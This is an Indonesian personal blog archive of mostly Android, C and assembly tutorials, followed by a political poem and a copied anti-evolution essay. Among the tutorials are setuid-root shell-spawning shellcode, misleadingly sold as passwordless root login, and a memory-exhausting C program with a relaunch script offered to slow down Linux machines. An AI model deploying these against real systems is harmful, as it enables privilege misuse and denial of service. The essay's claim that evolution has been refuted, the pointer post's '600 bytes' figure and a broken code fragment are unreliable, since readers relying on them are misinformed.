Januari 31, 2013

autocomplete


autocomplete adalah fitur yang bagus di android bahkan sangat bagus
kita bisa menemukan sesuatu dengan cepat



package com.dokuku.pos;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.support.v4.widget.CursorAdapter;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.FilterQueryProvider;
import android.widget.Filterable;
import android.widget.TextView;

public class AutoCompleteCursorAd extends CursorAdapter implements Filterable{

String[] projection = { "nama", "harga", "kode", "_id" };
ContentResolver content;

part1 @Override
public Cursor runQueryOnBackgroundThread(CharSequence constraint) {
FilterQueryProvider filter = getFilterQueryProvider();
if(filter!=null){
return filter.runQuery(constraint);
}
Uri url = Uri.parse("content://com.dokuku.products.contentprovider/products/filter");
Uri uri = Uri.withAppendedPath(url,Uri.encode(constraint.toString()));
return content.query(uri, projection, null, null, null);
}

part2 @SuppressWarnings("deprecation")
public AutoCompleteCursorAd(Context context, Cursor c) {
super(context, c);
content = context.getContentResolver();
}

part3 @Override
public void bindView(View view, Context context, Cursor cursor) {
((TextView)view).setText(cursor.getString(cursor.getColumnIndex("nama")));
view.setTag(cursor.getString(cursor.getColumnIndex("_id")));


}

part4 @Override
public View newView(Context arg0, Cursor arg1, ViewGroup arg2) {
LayoutInflater inflater = LayoutInflater.from(arg0);

TextView view = (TextView)inflater.inflate(android.R.layout.simple_dropdown_item_1line,arg2,false);
view.setText(arg1.getString(arg1.getColumnIndex("nama")));
return view;
}

part5 @Override
public CharSequence convertToString(Cursor cursor) {
return cursor.getString(cursor.getColumnIndex("nama"));
}

}

part 1 digunakan untuk menemukan filter berdasarkan text yang diketikkan
dibagian part 3 ada settag digunakan untuk mengambil data, part5 digunakan untuk mengubah cursor menjadi string part 2-4 udah dijelaskan di source code kemarin

Januari 28, 2013

custom cursor adapter

membuat custom cursor adapter  sebenernya kita bisa menggunakan simple cursor adapter cuman kelemahan simple cursor adapter adalah kita tak bisa membuat harga mengikuti locale seting sebuah negara
ok ini dia cara membuatnya

public class MyCursorAdapter extends CursorAdapter {

/*part 1*/ @SuppressWarnings("deprecation")
public MyCursorAdapter(Context context, Cursor c) {
super(context, c);
}

/*part 2*/ @Override
 public void bindView(View view, Context context, Cursor cursor) {
TextView nama_produk = (TextView)view.findViewById(R.id.nama_produk);
TextView harga =(TextView)view.findViewById(R.id.harga_prod);
nama_produk.setText(cursor.getString(cursor.getColumnIndex("nama")));
harga.setText(NumberFormat.getInstance().format(cursor.getDouble(cursor.getColumnIndex("harga"))));
}

/* part 3 */ @Override
public View newView(Context context, Cursor cursor, ViewGroup parent) {
LayoutInflater inflater = LayoutInflater.from(context);
View v = inflater.inflate(R.layout.row_custom,parent,false);
bindView(v,context,cursor);
return v;
}

}
part 1 adalah sebuah constructor
part 2 adalah bindView ini digunakan untuk mengcustom dari view untuk memasukan nilai dari sebuah view
part 3 adalah layoutnya

Januari 23, 2013

account manager my litle catatan

jadi setelah bikin class
manifestnya pada authenticator activitynya di jadikan android:exported="true"
terus cara manggilnya
AccountManager acm = AccountManager.get(context);
acm.addAccount("com.com.com",null,null,null,this,null,null);

debugging android dengan wifi adb

pergi ke google play dan install  wifi adb
kemudian run wifi adb sentuh tombol turn on
kemudian masuk ke command prompt cari lokasi adb
masuk ke direktori adb tersebut
kemudian jalankan adb connect 192.168.137.249:5555
jika ip and portnya yang ditunjukkan applikasi wifi adbnya sama
ini screenshotnya applikasi wifi adb
atau bisa juga tanpa install aplikasi wifi adb cukup install terminal emulator
caranya
buka terminal emulator kemudian ketik su enter kemudian ketik setprop service.adb.tcp.port portnya
example setprop service.adb.tcp.port 8000 atau -1enter untuk mematikan adb over wifi
kemudian ketik stop adbd kemudian ketik start adbd

Januari 17, 2013

disain xml layout android

jika ingin membuat button memiliki ukuran yang sama besar
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
 android:layout_width="fill_parent"
 android:layout_height="fill_parent"
 android:orientation="vertical">

     <EditText
          android:layout_height="0dp"
          android:layout_width="match_parent"
          android:layout_weight="2"/>

      <LinearLayout
           android:layout_height="wrap_content"
           android:layout_width="wrap_content"
           android:orientation="horizontal">
               
                 <Button
                       android:layout_height="wrap_content"
                       android:layout_width="0dp"
                       android:layout_weight="1"
                       android:text="Ok"/>
                 
                 <Button
                       android:layout_height="wrap_content"
                       android:layout_width="0dp"
                       android:layout_weight="1"
                       android:text="Cancel"/>
     </LinearLayout>
</LinearLayout>
biasanya udah ada di dalam project android
height 0dp maksudnya adalah ukuran tingginya 0 density point kenapa di seting 0 karena tingginya akan diatur oleh rasio weight
oya dalam layout button widthnya yang di nolin karena widthnya atau lebarnya diatur oleh rasio karena ada dua button yang memiliki weight 1 berarti pembagian nya adalah masing masing dapat 1/2 bagian dari total weight

Desember 07, 2012

code c unik

saya akan berbagi cara bikin program yang lumayan singkat yang hasilnya
adalah lihat sendiri ok hehehehe
pertama tulis code berikut
#include "perulangan.c"
int main(){
     ulang();
     return 0;
}

save dengan nama belajar.c
compile dengan gcc -std=gnu99 -o belajar belajar.c
maka akan terjadi error seperti ini :

for.c:1:18: fatal error: perulangan.c: No such file or directory
compilation terminated.
karena file perulangan.c belum dibuat atau diletakan di folder lain
buat file preulangan ini codenya
#include <stdio.h>
void ulang(){
for(float a = 0.0;a<5.0;a++){
printf("\n");
for(float b = 5.0;b>a;b--){
printf("*");
}
}
printf("\n");
}
dan save di folder dimana program belajar disave hehehe....
oya arti dari void ulang(), adalah fungsi ulang tidak mengembalikan satu nilaipun sedangkan int main(), mengembalikan nilai nol(0).
sedangkan for adalah loop(atau perulangan) artinya akan terus melakukan sesuatu sampai perulangan tersebut sudah tidak memenuhi syarat perulangan.

udah dulu ya see you next time

Juli 31, 2012

c acces with pointer


Melanjutkan tutorial bahasa c yang saya berikan tahun lalu
sekarang saya akan mengajarkan tentang acess data dengan menggunakan pointer
apa sich yang di maksud pointer? Cari sendiri ya definisi sesungguhnya tapi menurutku pointer adalah
petunjuk sebuah alamat layaknya papan penunjuk arah yang sering kita jumpai apa sich kegunaan pointer pointer sangat bermanfaat untuk mengetahui letak suatu program atau file
ketika kita deklarasi kita memesan tempat di komputer misalnya char c[20] kita memesan 600 bytes
kekomputer dengan alamat yang ditunjuk oleh pointer atau &c,kalo int d; maka kita pesan tempat 4 bytes dengan alamat &d.
oke langsung saja liat codenya
$cat over.c
//latihan
main(){
char ch[20];
int *point=&ch,*ad = point;
scanf(“%s”,&ch);
printf("alamatnya %x\n",point);
printf("alamat %x miliknya %s\n",ad,ad);
}
char ch[20];
deklarasi atau pengenalan varieble ch dengan type char
begitu pula dengan int *point=&ch,*ad=point;
pointer point isinya alamat dari ch, dan pointer ad berisi pointer point
scanf maksudnya inputan dari keyboard
sedangkan %x adalah format hexadecimal
printf("alamatnya %x miliknya %s\n",ad,ad);
adalah perintah kepada komputer untuk menampilkan “alamatnya hexadecimal di pointer ad
miliknya string di alamat yang dituju pointer ad” ke monitor sedangkan karakter \n = new line adalah perintah ganti baris
scanf akan mengambil ketikan keyboard sebelum spasi setelah spasi akan di abaikan
sekarang yang jadi pertanyaan bagaimana caranya membuat virus dengan bahasa c
itu sangat mudah kawan kalo untuk windows akan amat rumit jika di kerjakan untuk linux perlu riset
yang mendalam, untuk acess pointer untuk integer, float dll menggunakan tanda asterisk(*)
misalnya :
float f,*t;
f = 2+2;
untuk mengeluarkan hasil dari f dapat menggunakan
printf("isi dari f adalah %f\n",*t);
ada pertanyaan tulis di komentar atau kirim email ke yujimaarif.ym@gmail.com

Juli 23, 2012

assembly

di bulan ramadhan ini aku akan memposting masuk sebagai root tanpa passwor di linux
beri nama log.asm
section .text
global _start
_start :
xor eax , eax
mov al , 0x46
xor ebx , ebx
xor ecx , ecx
int 0x80
xor eax , eax
push eax
push 0x68732f2f 
push 0x6e69622f
mov ebx , esp
push eax
push ebx
mov ecx , esp
xor edx , edx
mov al , 0xb
int 0x80
compile dengan 
nasm -f elf log.asm
ld -o log log.o
./log untuk runing
silahkan mencoba

Juni 29, 2012

linux assembly



; Filename: lat.asm
; Developer: yudi
; Date: 06 mar 2012
; Purpose: This program demonstrates
; procedural programming and
; the usage of environment
; variables.
; Build:
;  nasm -f elf -o lat.o lat.asm
;  gcc -o lat lat.o

BITS 32

GLOBAL main
EXTERN puts
EXTERN exit

%define @ARG EBP + 8
%define @VAR EBP - 8

SECTION .data

strEnvironment DB '-----------------------', 10
DB ' Environment Variables', 10
DB '-----------------------', 0

strArguments DB '------------------------', 10
DB ' Command Line Arguments', 10
DB '------------------------', 0

SECTION .text

envs:
STRUC @ENVP
.envc RESD 1
.envp RESD 1
ENDSTRUC
STRUC $ENVP
.ptr RESD 1
ENDSTRUC
PUSH EBP
MOV EBP, ESP
SUB ESP, $ENVP_size

PUSH DWORD strEnvironment
CALL puts

MOV ESI, [@ARG + @ENVP.envp]
MOV ECX, [@ARG + @ENVP.envc]
DEC ECX
MOV EAX, 4
.scan_envs:
PUSH ECX
CMP ECX, 0
JE .done

DEC ECX

MOV EBX, [ESI + EAX]
OR EBX, EBX
JE .done

ADD EAX, 4
MOV [@VAR - $ENVP.ptr], EAX

PUSH EBX
CALL puts

MOV EAX, [@VAR - $ENVP.ptr]
POP ECX
JMP .scan_envs
.done:
XOR EAX, EAX
LEAVE
RET

args:
STRUC @ARGS
.argc RESD 1
.argv RESD 1
ENDSTRUC
STRUC $ARGS
.ptr RESD 1
ENDSTRUC
PUSH EBP
MOV EBP, ESP
SUB ESP, $ARGS_size

PUSH DWORD strArguments
CALL puts
ADD ESP, 4

MOV ESI, [@ARG + @ARGS.argv]
MOV ECX, [@ARG + @ARGS.argc]
DEC ECX
MOV EAX, 4
.scan_args:
PUSH ECX
CMP ECX, 0
JE .done

DEC ECX

MOV EBX, [ESI + EAX]
OR EBX, EBX
JE .done

ADD EAX, 4
MOV [@VAR - $ARGS.ptr], EAX

PUSH EBX
CALL puts
ADD ESP, 4

MOV EAX, [@VAR - $ARGS.ptr]
POP ECX
JMP .scan_args
.done:
XOR EAX, EAX
LEAVE
RET

main:
STRUC ENV
.argc RESD 1
.argv RESD 1
.envp RESD 1
ENDSTRUC
PUSH EBP
MOV EBP, ESP
PUSH DWORD [@ARG + ENV.argv]
PUSH DWORD [@ARG + ENV.argc]
CALL args

MOV ESI, [@ARG + ENV.envp]
MOV ECX, 4
XOR EAX, EAX
.continue:
MOV EBX, [ESI + ECX]

OR EBX, EBX
JE .count_done

ADD ECX, 4

INC EAX
JMP .continue
.count_done:
PUSH DWORD [@ARG + ENV.envp]
PUSH EAX
CALL envs

XOR EAX, EAX
PUSH EAX
CALL exit
LEAVE
RET

pelajari sendiri ya dan jalankan di linux anda

c programming tutorial

ini adalah source code untuk memperlambat kinerja computer os linux

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#define ONE_K (1024)
int main()
{
char *some_memory;
int size_to_allocate = ONE_K;
int megs_obtained = 0;
int ks_obtained = 0;
while (1) {
for (ks_obtained = 0; ks_obtained < 100024; ks_obtained++) {
some_memory = (char *)malloc(size_to_allocate);
if (some_memory == NULL) exit(EXIT_FAILURE);
sprintf(some_memory, "Hell Lo World");
}
megs_obtained++;
printf("Now allocated %d Megabytes\n", megs_obtained);
}
exit(EXIT_SUCCESS);
}
char *some_memory; untuk mendefinisikan pointer variable some_memory
 some_memory = (char *)malloc(size_to_allocate); inisiasi some_mory
sprintf adalah menuliskan sesuatu  kedalam memory
int size_to_allocate = ONE_K; digunakan untuk mengenalkan varieble sekaligus inisiasi dengan ONE_K
#define ONE_K 1024
digunakan untuk memerintahkan compiler supaya mengganti ONE_K dengan 1024
jika #define tulis printf
maka setiap kata tulis akan diganti dengan printf
setelah itu buat launchernya
buat folder code
save mem.c di folder code
uat laucher dengan nama launcher
#!/bin/sh
while true
do
sleep 1
cd code
./mem
cd code
./meme
cd code
./mem
done

Ideone.com | Online C Compiler & Debugging Tool

Ideone.com | Online C Compiler & Debugging Tool

Juni 14, 2012

membuat qibla locator


Setiap titik dibumi dapat dinyatakan dalam longtitude dan latitude
rumus untuk menghitung adalah
cos(y) = cos(x)cos(y)+sin(x)sin(z)cos(B)
cos(z)= cos(x)cos(y)+sin(x)sin(y)cos(C)
sin(x)/sin(A)=sin(y)/sin(B)=sin(z)/sin(C)
dari tiga rumus diatas di gabungin jadi
tan(B) = sin(C)/sin(x)cot(y)-cos(a)cos(C)
C = Bx-By
x = 90 – Ly
y = 90 – Lx
dan
cos(90-x)=sin(x)
sin(90-x)=cos(x)
cot(90-x)=tan(x)
maka persamaan akan menjadi
tan(B)=sin(Bx-By)/cos(Ly)tan(Lx) sin(Ly)cos(Bx By)
sudut B = archtan(tan(B))

titik A = posisi kita
titik B = posisi ka'bah
titik C = kutub utara

Arah kiblat azimuth ditunjukan sudut B.
secara matematis penghitungan arah kiblat seperti ini
secara program seperti ini
MainActivity.java
package com.baunAndroid;

import android.app.Activity;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Path;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.util.Config;
import android.util.Log;
import android.view.View;

public class MainActivity extends Activity {
    /** Called when the activity is first created. */
private static final String TAG = "Compass";
private SensorManager mSensorManager;
private Sensor mSensor;
private SampleView mView;
private float[] mValues;
private double lonMosque;
private double latMosque;
private LocationManager lm;
private LocationListener loclistenD;
//for find north direction
private final SensorEventListener mListener = new SensorEventListener(){
public void onAccuracyChanged(Sensor sensor, int accuracy){
}
};
    @Override
    public void onCreate(Bundle icicle) {
        super.onCreate(icicle);
        setContentView(R.layout.main);
        mSensorManager = (SensorManager)getSystemService(Context.SENSOR_SERVICE);
        mSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ORIENTATION);
        mView = new SampleView(this);
        setContentView(mView);
        //calling gps
        LocationManager lm = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
        Location loc= lm.getLastKnownLocation("gps");
        //ask the location manager to send us location updates.
        loclistenD = new DispLocListener();
        lm.requestLocationUpdates("gps",30000l,10.0f,loclistenD);
        loclistenD = new DispLocListener();
        lm.requestLocationUpdates("gps",30000l,10.0f,loclistenD);
    }
    //finding ka'bah location
    
    private double QiblaCount(double lngMasjid,double latMasjid){
    double lngKabah= 39.82616111;
    double latKabah= 21.42250833;
    double lKlM= (lngKabah - lngMasjid);
    double sinLKLM= Math.sin(lKlM*2.0*Math.PI/360);
    double cosLKLM= Math.cos(lKlM*2.0*Math.PI/360);
    double sinLM = Math.sin(latMasjid*2.0*Math.PI/360);
    double cosLM = Math.cos(latMasjid*2.0*Math.PI/360);
    double tanLK = Math.tan(latKabah*2*Math.PI/360);
    double denominator = (cosLM*tanLK)-sinLM*cosLKLM;
    double Qibla;
    double direction;
    Qibla = Math.atan2(sinLKLM, denominator)*180/Math.PI;
    direction = Qibla < 0 ? Qibla+360 : Qibla;
    return direction;
    }
    //resume location update when we are resume
    @Override
    protected void onResume(){
    super.onResume();
    mSensorManager.registerListener(mListener, mSensor, SensorManager.SENSOR_DELAY_GAME);
    }
    @Override
    super.onStop();
    }
    private class SampleView extends View {
    private Paint mPaint = new Paint();
    private Path mPath = new Path();
    private boolean mAnimate;
public SampleView(Context context) {
super(context);
// TODO Auto-generated constructor stub
mPath.moveTo(0, -50);
mPath.lineTo(20, 60);
mPath.lineTo(0, 50);
mPath.lineTo(-20, 60);
mPath.close();
}
//Make arrow for pointing direction
@Override
protected void onDraw(Canvas canvas){
Paint paint = mPaint;
canvas.drawColor(Color.WHITE);
paint.setAntiAlias(true);
paint.setColor(Color.DKGRAY);
paint.setStyle(Paint.Style.FILL_AND_STROKE);
int w = canvas.getWidth();
int h = canvas.getHeight();
int cx = w/2;
int cy = h/2;
float Qibla = (float) QiblaCount(lonMosque,latMosque);
// float Qibla = mValues[0] + Qibla;
canvas.translate(cx, cy);
if (mValues != null){
canvas.rotate(-(mValues[0]+ Qibla));
}
canvas.drawPath(mPath, mPaint);
}
@Override
protected void onAttachedToWindow(){
mAnimate = true;
super.onAttachedToWindow();
}
@Override
protected void onDetachedFromWindow(){
mAnimate = false;
super.onDetachedFromWindow();
}
    }
    private class DispLocListener implements LocationListener{
    @Override
    public void onLocationChanged(Location loc){
    //update TextViews
    latMosque = loc.getLatitude();
    lonMosque = loc.getLongitude();
    }

@Override
public void onProviderDisabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onProviderEnabled(String provider) {
// TODO Auto-generated method stub
}

@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
// TODO Auto-generated method stub
}
}
}
manifestnya 
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.baunAndroid"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
ketika di launch akan keluar
run dengan menekan ctrl+f11



Mei 04, 2012

dunia tanpa batas

saat ini terjadi sesuatu demam yang berdampak sangat bagus yaitu demam internet dan smartphone,
android adalah salh satu smartphone yang bagus dan terbuka,
tutorial kali ini adalah membuat aplikasi android sederhana yang nantinya akan saya berikan tutorial lanjutan yang lebih bagus lagi
ok langsung di mulai saja,
pertama buka file > new > android project >ketikan nama project misalnya JamAnalog> Next > pilih android api level berapa yang akan dibuat misalnya api level 8 >buat package name misalnya net.learnAndroid >finish
kemudian didalam package manager cari res>layout> main.xml
rubah main xmlnya menjadi seperti ini
<xml version="1.0"encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" >
#linear layout berfungsi untuk menentukan layout yang digunakan
#layout width adalah lebar layout fil_parent mengisi penuh parent
#layout height adalah untuk mengatur tinggi layout
#orientation adalah untuk mengatur orientasinya apakah item2 yang berada didalamnya tersusun #vertical ataupun horizontal
<AnalogClock
       android:layout_width="fill_parent"
       android:layout_height="wrap_content"/>
</LinearLayout>


##AnalogClock adalah untuk menampilkan widget jam analog



Januari 27, 2012

CARA INSTALL ECLIPSE DAN SDK ANDROID

aku akan share cara menginstall adt android beginilah caranya install dulu javanya dengan cara buka terminal dan ketikkan sudo apt-get install openjdk-7-jdk openjdk-7-jre 1.download eclipse disini , pilih eclipse yang terbaru kalo aku pilih eclipse indigo, setelah selesai download unzip eclipse simpan ke directory sesuai yang kamu kehendaki. download android sdk 10 di sini setelah itu unzip kemudian buka sdknya ke folder tool kemudian run android setelah muncul sdk and avd manager pilih setting https fetched to http 2.setelah itu download sdk android di sini , pilih sdk yang terbaru, setelah selesai download unzip ke direktori yang kamu kehendaki. 3.jalankan eclipse.exe yang telah kamu unzip,ketika kamu menjalankan pertama kali eclipse akan
muncul prompt yang meminta kamu untuk memilih di folder manakah kamu akan menyimpan seluruh projekmu, pilih yang kamu sukai, pilih use as the default lalu tekan ok. Setelah eclipse terbuka pilih help lalu pilih install new softwere
sebelum mengetikkan http://dl-ssl.google.com/android/eclipse ketikkan http://dl.google.com/eclipse/plugin/3.7 ikuti perintahnya kemudian restart setelah itu akan muncul window lalu cari form work with didalam work with ketikan http://dl-ssl.google.com/android/eclipse , stelah mucul tulisan developer tool pilih checkbox lalu tekan next setelah itu muncul tool yang akan didownload pilh next muncul agreement baca dan pilh agree tekan finish jika mendapat peringatan tekan ok. Setelah selesai download restart eclipse pilih window lalu pilih preference pilih android di panel sebelah kiri cari directori dimana kita menyimpan android sdknya tekan apply lalu ok pilih window lalu pilih sdk manager untuk mendownload tool-tool yang dibutuhkan setelah selesai install kemudian pilih window lalu avd manager lalu pilih new setelah itu pilih nama yang kamu
ingin kan di form name misalnya android setelah itu di form target pilih device yang terbaru misalnya 4.0.3 di form skin pilih build dan default untuk android versi phone atau pilih wxga untuk versi tablet
pilih overide existing... lalu tekan create avd kemudian tekan start dan tunggu sampai muncul android device nya

Januari 18, 2012

puisi bagus

turunkan susilo bambang yudhoyono dari jabatan presiden sekarang juga karena dia telah menjadi presiden partai demokrat Ada satu negeri yang dihuni para bedebah
Lautnya pernah dibelah tongkat Musa
Nuh meninggalkan daratannya karena direndam bah
Dari langit burung-burung kondor jatuhkan bebatuan menyala-nyala
Tahukah kamu ciri-ciri negeri para bedebah?
Itulah negeri yang para pemimpinnya hidup mewah
Tapi rakyatnya makan dari mengais sampah
Atau jadi kuli di negeri orang yang upahnya serapah dan bogem mentah
Di negeri para bedebah
Orang baik dan bersih dianggap salah
Dipenjarakan hanya karena sering ketemu wartawan
Menipu rakyat dengan pemilu menjadi lumrah
Karena hanya penguasa yang boleh marah
Sedang rakyatnya hanya bisa pasrah
Maka bila negerimu dikuasai para bedebah
Jangan tergesa-gesa mengadu kepada Allah
Karena Tuhan tak akan mengubah suatu kaum
Kecuali kaum itu sendiri mengubahnya
Maka bila negerimu dikuasai para bedebah
Usirlah mereka dengan revolusi
Bila tak mampu dengan revolusi,
Dengan demonstrasi
Bila tak mampu dengan demonstrasi, dengan diskusi
Tapi itulah selemah-lemahnya iman perjuangan

Januari 17, 2012

baca sendiri

Sebagian orang yang pernah mendengar "teori evolusi" atau "Darwinisme" mungkin beranggapan bahwa konsep-konsep tersebut hanya berkaitan dengan bidang studi biologi dan tidak berpengaruh sedikit pun terhadap kehidupan sehari-hari. Anggapan ini sangat keliru sebab teori ini ternyata lebih dari sekadar konsep biologi. Teori evolusi telah menjadi pondasi sebuah filsafat yang menyesatkan sebagian besar manusia. Filsafat tersebut adalah "materialisme", yang mengandung sejumlah pemikiran penuh kepalsuan tentang mengapa dan bagaimana manusia muncul di muka bumi. Materialisme mengajarkan bahwa tidak ada sesuatu pun selain materi dan materi adalah esensi dari segala sesuatu, baik yang hidup maupun tak hidup. Berawal dari pemikiran ini, materialisme mengingkari keberadaan Sang Maha Pencipta. Di abad ke-20, teori evolusi telah terbantahkan tidak hanya oleh ilmu biologi molekuler, tapi juga oleh paleontologi, yakni ilmu tentang fosil. Tidak ada sisa fosil yang mendukung evolusi yang pernah ditemukan dalam penggalian yang dilakukan di seluruh penjuru dunia Fosil adalah sisa jasad makhluk hidup yang pernah hidup di masa lampau. Bentuk dan susunan kerangka makhluk hidup, yang tubuhnya segera terlindungi dari sentuhan udara, dapat terawetkan secara utuh. Sisa kerangka ini memberi kita keterangan tentang sejarah kehidupan di bumi. Jadi, catatan fosil lah yang memberikan jawaban ilmiah terhadap pertanyaan seputar asal usul makhluk hidup. PENDAPAT DARWIN Teori evolusi menyatakan bahwa semua makhluk hidup yang beraneka ragam berasal dari satu nenek moyang yang sama. Menurut teori ini, kemunculan makhluk hidup yang begitu beragam terjadi melalui variasi-variasi kecil dan bertahap dalam rentang waktu yang sangat lama. Teori ini menyatakan bahwa awalnya makhluk hidup bersel satu terbentuk. Selama ratusan juta tahun kemudian, makhluk bersel satu ini berubah menjadi ikan dan hewan invertebrata (tak bertulang belakang) yang hidup di laut. Ikan-ikan ini kemudian diduga muncul ke daratan dan berubah menjadi reptil. Dongeng ini pun terus berlanjut, dan seterusnya sampai pada pernyataan bahwa burung dan mamalia berevolusi dari reptil. Seandainya pendapat ini benar, mestinya terdapat sejumlah besar “spesies peralihan” (juga disebut sebagai spesies antara, atau spesies mata rantai) yang menghubungkan satu spesies dengan spesies yang lain yang menjadi nenek moyangnya. Misalnya, jika reptil benar-benar telah berevolusi menjadi burung, maka makhluk separuh-burung separuh-reptil dengan jumlah berlimpah mestinya pernah hidup di masa lalu. Di samping itu, makhluk peralihan ini mestinya memiliki organ dengan bentuk yang belum sempurna atau tidak lengkap. Darwin menamakan makhluk dugaan ini sebagai “bentuk-bentuk peralihan antara”. Skenario evolusi juga mengatakan bahwa ikan, yang berevolusi dari invertebrata, di kemudian hari merubah diri mereka sendiri menjadi amfibi yang dapat hidup di darat. (Amfibi adalah hewan yang dapat hidup di darat dan di air, seperti katak). Tapi, sebagaimana yang ada dalam benak Anda, skenario ini pun tidak memiliki bukti. Tak satu fosil pun yang menunjukkan makhluk separuh ikan separuh amfibi pernah ada. Dia saat mengemukakan teori ini, ia tidak dapat menunjukkan bukti-bukti fosil bentuk peralihan ini. Dengan kata lain, Darwin sekedar menyampaikan dugaan yang tanpa disertai bukti. COELACANTH TERNYATA MASIH HIDUP Hingga 70 tahun yang lalu, evolusionis mempunyai fosil ikan yang mereka yakini sebagai "nenek moyang hewan-hewan darat". Namun, perkembangan ilmu pengetahuan meruntuhkan seluruh pernyataan evolusionis tentang ikan ini. Ketiadaan fosil bentuk peralihan antara ikan dan amfibi adalah fakta yang juga diakui oleh para evolusionis hingga kini. Namun, sampai sekitar 70 tahun yang lalu, fosil ikan yang disebut coelacanth diterima sebagai bentuk peralihan antara ikan dan hewan darat. Evolusionis menyatakan bahwa coelacanth, yang diperkirakan berumur 410 juta tahun, adalah bentuk peralihan yang memiliki paru-paru primitif, otak yang telah berkembang, sistem pencernaan dan peredaran darah yang siap untuk berfungsi di darat, dan bahkan mekanisme berjalan yang primitif. Penafsiran evolusi ini diterima sebagai kebenaran yang tak perlu diperdebatkan lagi di dunia ilmiah hingga akhir tahun 1930-an. Namun, pada tanggal 22 Desember 1938, penemuan yang sangat menarik terjadi di Samudra Hindia. Seekor ikan dari famili coelacanth, yang sebelumnya diajukan sebagai bentuk peralihan yang telah punah 70 juta tahun yang lalu, berhasil ditangkap hidup-hidup! Tak diragukan lagi, penemuan ikan coelacanth "hidup" ini memberikan pukulan hebat bagi para evolusionis. Ahli paleontologi evolusionis, J. L. B. Smith, mengatakan ia tidak akan terkejut lagi jika bertemu dengan seekor dinosaurus yang masih hidup. (Jean-Jacques Hublin, The Hamlyn Encyclopædia of Prehistoric Animals, New York: The Hamlyn Publishing Group Ltd., 1984, hal. 120). Pada tahun-tahun berikutnya, 200 ekor coelacanth berhasil ditangkap di berbagai tempat berbeda di seluruh dunia. BERAKHIRNYA SEBUAH MITOS Coelacanth ternyata masih hidup! Tim yang menangkap coelacanth hidup pertama di Samudra Hindia pada tanggal 22 Desember 1938 terlihat di sini bersama ikan tersebut Keberadaan coelacanth yang masih hidup mengungkapkan sejauh mana evolusionis dapat mengarang skenario khayalan mereka. Bertentangan dengan pernyataan mereka, coelacanth ternyata tidak memiliki paru-paru primitif dan tidak pula otak yang besar. Organ yang dianggap oleh peneliti evolusionis sebagai paru-paru primitif ternyata hanyalah kantung lemak. (Jacques Millot, "The Coelacanth", Scientific American, Vol 193, December 1955, hal. 39). Terlebih lagi, coelacanth, yang dikatakan sebagai "calon reptil yang sedang bersiap meninggalkan lautan untuk menuju daratan", pada kenyataannya adalah ikan yang hidup di dasar samudra dan tidak pernah mendekati rentang kedalaman 180 meter dari permukaan laut. (Bilim ve Teknik (Science and Technology), November 1998, No. 372, hal. 21). MANUSIA BERAHANG KERA Tengkorak Manusia Piltdown dikemukakan kepada dunia selama lebih dari 40 tahun sebagai bukti terpenting terjadinya "evolusi manusia". Akan tetapi, tengkorak ini ternyata hanyalah sebuah kebohongan ilmiah terbesar dalam sejarah. Rekonstruksi tengkorak manusia Piltdown yang pernah diperlihatkan di berbagai museum Pada tahun 1912, seorang dokter terkenal yang juga ilmuwan paleoantropologi amatir, Charles Dawson, menyatakan dirinya telah menemukan satu tulang rahang dan satu fragmen tengkorak dalam sebuah lubang di Piltdown, Inggris. Meskipun tulang rahangnya lebih menyerupai kera, gigi dan tengkoraknya menyerupai manusia. Spesimen ini diberi nama "Manusia Piltdwon". Fosil ini diyakini berumur 500.000 tahun, dan dipamerkan di berbagai museum sebagai bukti nyata evolusi manusia. Selama lebih dari 40 tahun, banyak artikel ilmiah telah ditulis tentang "Manusia Piltdown", sejumlah besar penafsiran dan gambar telah dibuat, dan fosil ini diperlihatkan sebagai bukti penting evolusi manusia. Tidak kurang dari 500 tesis doktoral telah ditulis tentang masalah ini. (Malcolm Muggeridge, The End of Christendom, Grand Rapids, Eerdmans, 1980, hal. 59.) Pada tahun 1949, Kenneth Oakley dari departemen paleontologi British Museum mencoba melakukan "uji fluorin", sebuah cara uji baru untuk menentukan umur sejumlah fosil kuno. Pengujian dilakukan pada fosil Manusia Piltdown. Hasilnya sungguh mengejutkan. Selama pengujian, diketahui ternyata tulang rahang Manusia Piltdown tidak mengandung fluorin sedikit pun. Ini menunjukkan tulang tersebut telah terkubur tak lebih dari beberapa tahun yang lalu. Sedangkan tengkoraknya, yang mengandung sejumlah kecil fluorin, menunjukkan umurnya hanya beberapa ribu tahun. Penelitian lebih lanjut mengungkapkan bahwa Manusia Piltdown merupakan penipuan ilmiah terbesar dalam sejarah. Ini adalah tengkorak buatan; tempurungnya berasal dari seorang lelaki yang hidup 500 tahun yang lalu, dan tulang rahangnya adalah milik seekor kera yang belum lama mati! Kemudian gigi-giginya disusun dengan rapi dan ditambahkan pada rahang tersebut, dan persendi-annya diisi agar menyerupai pada manusia. Kemudian seluruh bagian ini diwarnai dengan potasium dikromat untuk memberinya penampakan kuno. Le Gros Clark, salah seorang anggota tim yang mengungkap pemalsuan ini, tidak mampu menyembunyikan keterkejutannya dan mengatakan: "bukti-bukti abrasi tiruan segera tampak di depan mata. Ini terlihat sangat jelas sehingga perlu dipertanyakan - bagaimana hal ini dapat luput dari penglihatan sebelumnya?" (Stephen Jay 